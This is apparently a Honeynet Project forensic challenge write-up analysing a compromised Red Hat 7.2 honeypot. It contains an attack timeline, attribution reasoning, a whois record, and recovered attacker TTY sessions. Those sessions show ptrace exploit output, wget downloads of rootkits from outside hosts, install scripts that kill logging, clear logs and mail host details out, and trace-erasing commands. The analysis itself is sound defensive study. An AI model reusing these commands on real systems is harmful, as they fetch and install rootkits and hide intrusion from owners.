[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
sh-2.05#
```

First, If we look at the old ptrace exploit written by Wojciech Purczynski <cliph_at_/isec.pl> (Message from some LUG about this exploit <http://www.freelists.org/archives/fanolug/05-2003/msg00127.html>), you will see exactly the same syntax as here. (Notice that we found another 8192 B extract of the exploit in the memory). Secondly, when I reproduce the bug in the VM in another RH 7.2 installation, the same address was given (i.e "Shellcode placed at 0x4001189d"). So I'm pretty confident about the use of this exploit. Now, our first attacker have a root shell. What does he do ? I will use the Autopsy Forensic tool to know more about this. We know that at 13:33:56 two mails were sent (see the beginning of this answers). Using the memory image previously examined (from unit 30328 to 30335), we can affirm that after the root shell, the

attacker make a “wget geocities.com/mybabywhy/rk.tar.gz” at 13:33:08 which ended at 13:33:11. Then he extract the rk.tar.gz into the /tmp directory (the only directory that an apache user could write (with the log directory)). He go just after into the sand directory “cd sand” and use the install script which send the two email at 13:33:56. All the times are confirmed by the file activity timeline. For example, the install script make a chattr against the /bin, /sbin, /usr/sbin, /usr/bin directories at 13:33:33. See the table after to know more about this first attempt.

Hour (hh:mm:ss)	What ?	Who ?	Comment
12:27:36	in.ftpd	?	Seems that a connection to the ftpd server was made. But I don't find anything more than the access time.
13:16:27	access_log error_log	213.154.118.219	First contact, response 400 due to RFC violations.
13:16:37	access_log error_log	213.154.118.219	Second contact, response 400 due to RFC violations.
13:23:17	access_log error_log	213.154.118.219	The mass scan to collect information on the Apache server.
13:24:29	error_log ssl_error_log	213.154.118.119	Signature of the Apache/ssl exploit (openssl-too-open). First exploit. Perhaps to know if all is ok ?
13:32:29	/bin/ls	?	Somebody use the real ls (/bin/ls) to list a directory.
13:32:38	error_log ssl_error_log	213.154.118.119	Signature of the Apache/ssl exploit (openssl-too-open). Second exploit.
?	?	?	use the ptrace exploit to get root shell.
13:33:08	/usr/bin/wget	?	Download of the rk.tar.gz
13:33:19	/usr/bin/tar		Extraction of the rootkit in /tmp/sand
13:33:31	/tmp/sand/install		installation of the rootkit, using the install script. Stop the syslogd and portmap services and kill the atd daemon (?) [in fact all the messages were buffered and written at the restart of the syslogd :)]
13:33:33	/bin/cp		copying the trojaned commands into /usr/bin ?
13:33:33	/usr/bin/smbd\040-D		The trojaned sshd server is started many times and fails with bind errors
13:33:34	/usr/bin/gcc		compilation of (swapd)
13:33:36	/bin/(swapd)		Load the ipx.o and appeltalk.o modules (this is a sniffer which log into /usr/lib/libice.log)

13:33:56	/usr/bin/mail /bin/rm		Send 2 mails to 2 users with the computer information. Remove the log files in /var/log. Create the various files and directories for the rootkit (always in install script)
13:33:57	/usr/bin/chattr		Setting the directories and some executables/files all the attributes (immutable,secure delete,...) end of the install script
13:33:57	syslogd /var/log/messages (inode: 45307)		restart of the syslogd daemon the klogd daemon, lunch of the (swamd) process (sniffer)
13:34:23	wget		download of the abc.tgz which contains the future smb\d\040-D
13:40:28	error_log ssl_error_log		The httpd server complained about a missing file.
14:13:03	? apache user		A lot's of file activity, but could not get them. (access time)
14:13:47	/etc/rc.d/init/sshd /var/run/sshd.pid /var/log/messages		Shutdown of the sshd daemon.
14:13:54	? apache user		file activity again (modified & changed times)
14:14:01	/usr/bin/mail		mail sent to jijeljijel@yahoo.com
14:14:41	/usr/bin/smbd\040-D /var/log/secure	213.154.118.218	Connections as root under the sshd daemon try 3 times to connect as root and gave up before the server give the answer.
14:17:08	/usr/bin/smbd\040-D /var/log/secure	213.154.118.218	Connections as root under the sshd daemon. failed 4 times. The server complains about too many attempt.
14:17:51	/usr/bin/smbd\040-D /var/log/secure	213.154.118.218	Connections as root under the sshd daemon. failed 4 times. Three more time attempt. Did you forget the magic password ? :))
14:17:53	/usr/include/iceseed.h		the key file of the smb\d\040-D sshd daemon
14:23:24	end of the 14:17:51 event		The attacker close the connection (seems to close it).
15:14:28	/var/tmp		Access to this directory

15:26:18	/etc/issue		the banner is accessed due to a connection
15:28	./bash ?	apache	use of the sushi (suid shell) /dev/shm/k
15:30:21	/usr/lib/sp0*		launching of the sp0 ssh server infested by the RST.b virus
15:30:30	/dev/hdx{1,2}		the computer is contaminated so the sp0 was lunch by root. But thanks to immutable flags, /bin is not corrupted :) The virus open the backdoor (eth0 set in promiscuous mode)
15:30:30	/usr/bin/mail		2 empty mails are send to the newptraceuser
15:30:31	/usr/bin/clear		reset of the terminal ? probably in a script
15:30:48	/usr/bin/gcc		compilation of the adore LKM (adore.o, cleaner.o, ava)
15:30:54	/etc/rc.d/rc.sysinit		Corruption of this file to reload the adore lkm at reboot, the program which name is kflushd doesn't exist.
15:31:51	/lib/.x		some part of the suckit rootkit are installed here.
15:32:16	/lib/.x/.boot		the suckit install script is lunch
15:32:17			gathering of information
15:32:33	/usr/bin/mail		sending the mail to ski-Zophrenia_siCk@yahoo.com
15:32:34	/lib/.x/cl		proper clean of all the logs with "Die Putze"
15:40:43	/usr/bin/ftp		Download of the s.tgz stuff to modify the /etc/httpd.conf (stop the security hole) this is logged into the mfs file (sniffer log)
15:41:32	/usr/bin/ftp		end of the ftp download (under the 63.99.224.38 machine)
15:41:51	/usr/bin/killall		kill ? apache server
15:49:47	/bin/mv		move s.tgz to /root/sslstop.tar.gz stuff (was s.tgz)
15:50:46	/usr/bin/tar		extraction of the sslstop stuff
15:51:10	/lib/.x/s/r_s		the key file of the xopen sshd.

15:51:59	/usr/bin/gcc		compilation of the sslstop stuff
15:52:09	/var/log/httpd/*		end of the httpd server (see next)
15:52:09	/usr/bin/smbd\040-D		try to relunch the sshd server many times (a script ?) Failed due to Bind error.
15:52:10	/etc/rc.d/init.d/httpd		stop the httpd server (sent a kill)
15:52:12	/etc/rc.d/init.d/httpd		try to relaunch the httpd server. Due to missing files (logs), the server didn't restart.
15:52:23	/root/sslstop/sslport		change the https port from the httpd.conf file
15:54:04	./bash_history		the history file was not erased. this is perhaps the output of the ptrace exploit (again).
15:54:18	/root/sslstop/sslstop		remove the https from the httpd.conf (due to error ?)
15:54:24	httpd		restart of the apache server
15:55:13	/usr/bin/w		verify who is under the server
15:56:11	/bin/su		the root make a su to connect himself
15:56:50	/usr/bin/wget		get the psybnc archive file
15:57:33	/usr/bin/tar		extracting the psybnc archive
16:01:14	make		compilation of the psybnc server after is configuration (make menuconfig)
16:01:41			end of the compilation of the psybnc server
16:01:54	/usr/bin/vi		edition of the salt.h file (that we can partially recover from the tty output)
16:02:46	/etc/opt/initd		lunch of the psybnc server
16:03:01	/bin/su		end of the su session.
16:03:16			root login ? the files are the profile , the bash.rc etc...
16:04:15	/usr/lib/libice.log		the sniffer logs the proxyscan from undernet
16:04:38	xinetd/telnet	193.109.122.5	one of the proxyscan undernet scan due to the psyBNC connection.
16:04:38	/lib/.x/s/mfs		the other sniffer log (lsn)
16:07:12	/usr/bin/last		hard deleting of wtmp and verification with the last command of the things to delete

16:32:18	/dev/random		generation of a new ssh key for the /lib/.x/s/xopen
17:49:47	/etc/opt/psybnc /motd/USER1.MOTD		connection of one user to the psybnc (user named sic ?)
18:00:49	/etc/opt/psybnc/ psybnc.conf		write the new configuration file with to users
18:58:33	memory unit 171752	202.85.165.46	Connection (scan ?) from a taiwainese machine to the sshd daemon.

So will see in this section the different phases of the attack. They compromised the system using the openssl-too-open exploit in all cases, following by a ptrace exploit to gain root privilege. They put a “sushi” named /dev/shm/k to simplify the root access. I am not sure If there was more than one attacker. In fact this attack seems so confusing that I think that they were at least 3. A simple question is why install 3 different rootkits ? And the first was deprecated (the ess vuln scan engine know bugs for RH 6.2 and not for 7.2. It was very big (more than 8 MB !) Then, why sometimes shutdown the syslogd, then delete carefully with “die_putze” the logs and finish bye deleting them with a rm -rf ? Some of the attackers have a high knowledge about the system, because the sys_call_table symbol is not exported in the RH kernel and the adore.o need it as the suckit rootkit. But the first was successful and not the second. Then why so many mails ? This could be a lure of course, but this is very strange. The fact that the first attacker forget the magic password is very curious (In case of a successful login with the magic password, you will have the failed to login 2 times and the disconnection two times which is not the case here. If we look at the memory, we find 2 references to “SSH_CLIENT=” with the ip 213.154.118.201 to port 3128 (the xopen daemon which is in quiet mode (no syslog mesdifferentesages)). All the ip addresses seems to come from the same subnetwork. So perhaps the same attacker come three times and try 3 different rootkit (and don’t worry about the fail due to the immutable and secure delete ? quiet strange). Or this machine was used to explain how to crack a machine to a newbie (the way they use to finally delete he log files sound false). Then I think that the attackers are not very experienced with this type of system because it is very simple to know if you are in a VM or not, and discover that you are in a honeypot.

2.10. Bonus Question: What nationality do you believe the attacker(s) to be, and why?

The attackers seems to come from Romania. First the use of the 213.154.118/24 subnetwork with belongs to extreme-service.is.pcnet.ro (the whois registry said “PCNET Data Network S.A. Provider ADSL Network”). Then the fact that some of the channel used by psybnc are mostly Romanian (#Aiabuni for example). Then a lot’s of Attackers group comes from there. But I think that the group (redcode ?) which do this work is not only Romanian. For example the izolam.net server is based in US and the named is recorded by an US boy. So It’s quiet possible that this group is composed by several different nation: Romania is sure, USA perhaps, Hungary perhaps too. The Taiwanese machine which hit the ssh port (202.85.165.46) could be a scan which is not related to the attackers.

But there is another evidences of the origin of this attackers. Some install script are mostly Romanian (or Hungarian ?) such as the tmp/sand/install script that we can look at the tty session (see Appendix). There is some IRC chat that seems to be in this language.

This is the output of the whois 213.154.118.200 (one of the connections) :

```
[RequÃˆte en cours whois.ripe.net]
[whois.ripe.net]
```

```

% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenncc/pub-services/db/copyright.html
inetnum:      213.154.96.0 - 213.154.127.255
netname:      PCNET
descr:        PCNET Data Network S.A.
descr:        PROVIDER ADSL Network
country:      RO
admin-c:      BT17-RIPE
tech-c:       PDNN1-RIPE
status:       ASSIGNED PA
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20030704
source:       RIPE
route:        213.154.116.0/22
descr:        PCNET
origin:       AS8503
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20020912
source:       RIPE
role:         PCNET Data Network NOC
address:      Splaiul Unirii, nr. 10
address:      Bucharest, ROMANIA
phone:        +40 1 330 86 61
phone:        +40 1 330 35 23
fax-no:       +40 1 675 49 99
e-mail:       tudor@pcnet.ro
trouble:      +40 9 325 18 84
admin-c:      BT17-RIPE
tech-c:       BT17-RIPE
tech-c:       AP158-RIPE
tech-c:       CM3059-RIPE
tech-c:       CN19-RIPE
tech-c:       IG20-RIPE
tech-c:       CR60-RIPE
nic-hdl:      PDNN1-RIPE
remarks:      -----
remarks:      abuse: abuse@pcnet.ro
remarks:      -----
remarks:      for escaladation please directly call the
remarks:      technical manager
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20011008
source:       RIPE
person:       Bogdan Tudor
remarks:      Technical Manager
remarks:      PCNET Data Network S.A.
address:      Bucharest, Romania
phone:        +40 9 325 18 84

```

phone: +40 1 330 86 61
phone: +40 1 330 35 23
fax-no: +40 1 675 49 99
nic-hdl: BT17-RIPE
mnt-by: BT17-RIPE-MNT
notify: tudor@pcnet.ro
e-mail: tudor@pcnet.ro
changed: tudor@pcnet.ro 20011009
source: RIPE

3. Conclusion

It's clear that this challenge was quiet difficult for a beginner like me. First I think that this report is quiet messy, but due to a lack of time, I can't rewrite it. I hope that this report will be helpful for some people who want to begin without a lot's of knowledge in this type of forensic analyze.

During my search, I found that a very close rootkit was already examined in the sotm 19 (replace the path and some names it seems to work in the same manner that the /tmp/sand rootkit). I found that at least another computer was compromised using the same technique and the same rootkit in a UK university around the 11/12 August 2003.

I am quiet sure that a lot's of things were not discovered in this paper and that I can improve a lot's of the conclusion that were made. The 9th question is very messy due to a too large source of informations that overlaps themselves. Some of the attackers were skilled and some were not. The ip addresses found in the memory are in most cases unusable because I was not able to really identify their involvement in the process of compromised this box.

Oh by the way, I suppose that the authors of this Challenge like Hard Metal Music ;). Give me the root :).

This box was very insecure. There are almost 19 security holes and 23 security warnings said nessus. And use a dictionary word as root password is not advisable.

Last, never, never put a gcc into a server. You are warned !

Contents

1. Tools used in this challenge	4
1.1. Live tools	4
1.2. Dead tools	4
1.3. Exploit tools	4
2. Analyze	5
2.1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.	5
2.2. Explain the impact that your actions had on the running system.	8
2.3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).	9
2.4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?	11
2.5. How many instances of an SSH server were installed and at what times?	12
2.6. Which instances of the SSH servers from question 5 were run?	12
2.7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?	16
2.8. Which system executables (if any) were trojaned and what configuration files did they use?	16
2.9. How and from where was the system likely compromised?	19
2.10. Bonus Question: What nationality do you believe the attacker(s) to be, and why?	32
3. Conclusion	35
A. Links / Bibliography	37
B. TTY output	38

A. Links / Bibliography

Please find here some useful link :

- The honeynet project <http://www.honeynet.org> were you can find this challenge and all the output for it.
- Here some info about the ATD mass scanner <http://www.lurhq.com/atd.html> at www.lurhq.com
- The nessus project <http://nessus.org> To scan your network for known vulnerabilities.
- The sleuthkit and Autopsy homepage <http://www.sleuthkit.org> The mostly used tool in this report
- The mail about the other infested box (not a honeypot) <http://mailman.lug.org.uk/pipermail/nottingham/2003-August/001957.html> You will find there some info about the same rootkit (/tmp/sand)
- The checkrootkit Home page <http://www.chkrootkit.org> Just in case. Not always efficient, but good against Script Kiddies :)

The classical tools could be obtained in any RH mirror containing the SRPM.


```

{
slt1[0]=SALT1[0];
slt1[1]=SALT1[1];
slt1[2]=SALT1[2];
slt1[3]=SALT1[3];
slt1[4]=SALT1[4];[1;1H[?25h
[?25l[34;1H[K[34;1H:[?25hw[?25l[34;2H[K[34;2H[?25hq[?25l[?1l>[?25h[?1047l[?1048l[J[34;1H]0;
root@sbm79:/etc/opt/psybnc[root@sbm79 psybnc]# ls -a
[01;34m.[00m [00mMakefile[00m [01;34mhelp[00m [01;34mmenuconf[00m [00msalt.h[00m
[01;34m..[00m [00mREADME[00m [01;34mlang[00m [01;34mmotd[00m [01;34mscripts[00m
[00mCHANGES[00m [00mSCRIPTING[00m [01;34mlog[00m [01;32mpsymbnc[00m [01;34msrc[00m
[00mCOPYING[00m [00mTODO[00m [00mmakefile.out[00m [00mpsymbnc.conf[00m [00mtargets.mak[00m
[00mFAQ[00m [00mconfig.h[00m [01;32mmakesalt[00m [01;32mpsymbncchk[00m [01;34mtools[00m
]0;root@sbm79:/etc/opt/psybnc[root@sbm79 psybnc]# rm -rf salt.h
]0;root@sbm79:/etc/opt/psybnc[root@sbm79 psybnc]# mv psybnc init" " d
]0;root@sbm79:/etc/opt/psybnc[root@sbm79 psybnc]# PATH=:PATH
]0;root@sbm79:/etc/opt/psybnc[root

```

Then the second :

```

sh-2.05#
sh-2.05#
sh-2.05# ps x
  PID  TTY  STAT  TIME COMMAND
    1  ?    S      0:05 init
    2  ?    SW     0:00 [keventd]
    3  ?    SW     0:00 [kapm-idled]
    4  ?    SWN    0:00 [ksoftirqd_CPU0]
    6  ?    SW     0:00 [kreclaimd]
    7  ?    SW     0:00 [bdflush]
    8  ?    SW     0:00 [kupdated]
    9  ?    SW<    0:00 [mdrecoveryd]
   17  ?    SW     0:03 [kjournald]
   92  ?    SW     0:00 [khubd]
  657  ?    S      0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scri
  699  ?    S      0:00 /usr/sbin/sshd
  732  ?    S      0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
  759  ?    S      0:00 sendmail: accepting connections
  778  ?    S      0:00 gpm -t ps/2 -m /dev/mouse
  820  ?    S      0:00 crond
  850  ?    S      0:00 nmbd -D
  893  1    S      0:00 login -- root
  894  2    S      0:00 /sbin/mingetty tty2
  895  3    S      0:00 /sbin/mingetty tty3
  896  4    S      0:00 /sbin/mingetty tty4
  899  5    S      0:00 /sbin/mingetty tty5
  900  6    S      0:00 /sbin/mingetty tty6
  901  1    S      0:00 -bash
 3247  ?    S      0:00 syslogd -m 0
 3252  ?    S      0:00 klogd -2
14640 p3    R      0:00 ps x
23306 p3    S      0:00 /bin/sh
25239 p3    S      0:00 /lib/.x/s/xopen -q -p 3128
25241 ?    S      0:00 /lib/.x/s/xopen -q -p 3128
25247 ?    S      0:00 /lib/.x/s/lsn
25542 ?    S      0:00 /lib/.x/s/xopen -q -p 3128
26268 ?    S      0:00 -bash
sh-2.05#
sh-2.05# ps aux | grep apache
apache 21510 0.0 0.4 1476 392 ? S 15:28 0:00 ./bash
apache 21511 0.0 1.1 2188 1124 p3 S 15:28 0:00 sh -i
apache 23289 0.0 0.3 1376 296 p3 S 15:30 0:00 /dev/shm/k
apache 23292 0.0 0.0 0 0 p3 Z 15:30 0:00 [k <zombie>]
apache 23302 0.0 0.0 0 0 p3 Z 15:30 0:00 [k <zombie>]
sh-2.05#
sh-2.05# kill -9 21510 21511 23289 23292 23302
slstop.tar.gz
  (try: 2) => 'sslstop.tar.gz'

```

```

Connecting to izolam.net:80... yg everything...[0m
[1;36mCleaning megs [0m
[1;36m[[0;32mOK[1;36m][0m
mv: cannot create regular file '/bin/kflushd': Permission denied
./inst: kflushd: command not found
[1;36m[[0;32mOK[1;36m][0m
[1;36mCleaning all the tracks...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mAll done...[0m
[1;36mYou Got The root[0m [0;33m[0m
[1;31mCopyright [47;1;30m[sicK][0m [1;36m
sh-2.05#
sh-2.05# hostname
localhost.localdomain
sh-2.05#
sh-2.05# hostname sbm79.dtc.apu.edu
sh-2.05#
sh-2.05# cd /dev/shm/sc
sh-2.05#
sh-2.05# ./install sbm79.dtc.apu.edu
[44;1;33msicK[0m [1;31msickit[0m
[44;1;33meshi Hacker? sau .. cum ai facut?[0m
[1;36mStarting[0;31m.[0;31m.[0;31m.[0m
[1;31mFirst Wave -- Installing...[0m
[1;36mCreating home...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mStarting SSHD...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mStarting sniffer...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mCompiling and installing LKM...[0m
cp: cannot create regular file '/sbin/init13996': Permission denied
rm: cannot unlink '/sbin/init': Permission denied
cp: cannot create regular file '/sbin/init': Permission denied
chmod: changing permissions of '/sbin/init': Operation not permitted
[1;36m[[0;32mOK[1;36m][0m
[1;36mHiding everything...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mCleaning up home directory...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mGathering information and sending mail...[0m
[1;36m[[0;32mOK[1;36m][0m
[1;36mCleaning all the tracks...[0m
userdel: user master does not exist
[1;36m[[0;32mOK[1;36m][0m
[1;36mAll done...[0m
[1;36mYou Got The root[0m [0;33m[0m
[1;31mCopyright [47;1;30m[sicK][0m [1;36m
sh-2.05#
sh-2.05#
You have mail in /var/mail/root
sh-2.05#
sh-2.05# rm -rf /var/mail/root
sh-2.05#
sh-2.05# ps x
  PID  TTY  STAT  TIME  COMMAND
    1  ?    S      0:05  init
    2  ?    SW     0:00  [keventd]
    3  ?    SW     0:00  [kapm-idled]
    4  ?    SWN    0:00  [ksoftirqd_CPU0]
    6  ?    SW     0:00  [kreclaimd]
    7  ?    SW     0:00  [bd]

```

This one could be retrieve into the /.bash_history file
The last :

```
sh-2.05#
```

```

sh-2.05#
sh-2.05# ls -a
.          a.tgz          sand          za
..         rk.tar.gz   x             za.tgz
sh-2.05#
sh-2.05# tp://irinel1979.go.ro/mass2.tgz
=> 'mass2.tgz'
Connecting to irinel1979.go.ro:80... yøam.as.ro/rootkit.tar
=> 'rootkit.tar'
Connecting to www.lugojteam.as.ro:80... yøteam.as.ro/rootkit.tar
=> 'rootkit.tar'
Connecting to www.lugojteam.as.ro:80... yø;31m![0m

[1;37mchatrr[1;31m -> [1;34mok[0m
[1;37mwget[1;31m -> [1;34mok[0m
[1;37mpico[1;31m -> [1;34matasat[0m
[1;37mRezolvam tampeniile de ps, netstat si etc..., si pe sora-sa :-P[0m
[1;37mTampeniile[1;31m ->[1;34mDone[0m
[1;37mCopiem [1;34mSSH-ul [1;37msi ce mai e nevoie :-P .. [0m
[1;31mATENTIE!!! [0;31mTu tre sa dai [1;37m cd /usr/bin ; sense tcp.log ; logclear [0m
grep: /etc/inetd.conf: No such file or directory
[1;37mImediat iti trimit Mail [1;34mBAH[1;37m mai ai rabdare 2 min..[0m

[1;37mMail [1;31m-> [1;34mDone.[0m

[1;37m*** [1;32mSa ne facem si noi un catun pe aici! [1;34m;[1;37m-[1;31m) [1;37m***[0m
[1;37m*** [1;32mDirector-ul /dev/hpd a fost deja creat gajiuile:)) [1;37m ***[0m
[1;37m*** [1;34mAcum sa stergem logurile care ne incurca [1;37m***[0m
Shutting down kernel logger: [60G[[1;31mFAILED[0;39m]
Shutting down system logger: [60G[[1;31mFAILED[0;39m]
Starting system logger: [60G[ [1;32mOK[0;39m ]
Starting kernel logger: [60G[ [1;32mOK[0;39m ]
/usr/bin/chatrr: No such file or directory while trying to stat /etc/im*

[1;37m@@@ [1;32mOK [1;34mShefu[1;32m.., e al tau, bucura-te ca eshti mai
destept cu un [1;34mRoot [1;34m;[1;37m-[1;31mP [1;37m@@@[0m
sh-2.05#
sh-2.05# wget geocities.com/gavish19/abc.tgz
--13:34:23-- http://geocities.com/gavish19/abc.tgz
=> 'abc.tgz'
Connecting to geocities.com:80... yø1
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
sh-2.05#
sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz
--13:33:08-- http://geocities.com/mybabywhy/rk.tar.gz
=> 'rk.tar.gz'
Connecting to geocities.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 701,944 [application/x-gzip]
  OK ..... 7% @ 187.27 KB/s
 50K ..... 14% @ 261.78 KB/s
100K ..... 21% @ 263.16 KB/s
150K ..... 29% @ 248.76 KB/s
200K ..... 36% @ 295.86 KB/s
250K ..... 43% @ 359.71 KB/s
300K ..... 51% @ 384.62 KB/s
350K ..... 58% @ 423.73 KB/s
400K ..... 65% @ 246.31 KB/s
450K ..... 72% @ 247.52 KB/s
500K ..... 80% @ 233.64 KB/s
550K ..... 87% @ 245.10 KB/s
600K ..... 94% @ 239.23 KB/s
650K ..... 100% @ 185.82 KB/s
13:33:11 (260.74 KB/s) - 'rk.tar.gz' saved [701944/701944]
sh-2.05#

```

```

sh-2.05# tar -zxvf rk.tar.gz
sand/
sand/h
sand/logclear
sand/hhh
sand/ava
sand/sense
sand/sl2
sand/ps
sand/install
sand/netstat
sand/sysinfo
sand/hh
sand/ifconfig
sand/top
sand/.ttyoa
sand/chattr.tgz
sand/pico.tgz
sand/wget.tgz
sand/ls
sand/libsss
sand/.ttyop
sand/.ttyof
sand/kde.c
sand/lpi
sand/crontabs
sand/swapd2
sand/ava1
sand/sshd
sh-2.05#
sh-2.05# cd sand
sh-2.05#
sh-2.05# ./install
[1;37m---[1;31m  Verificam daca suntem ROOT [1;37m !!![0m
[1;31m+++[1

```

The last is certainly the first attack. Notice that I was not able to find any trace of za.tgz nor a.tgz. Perhaps a.tgz is abc.tar.gz (contains the smbd -D daemon).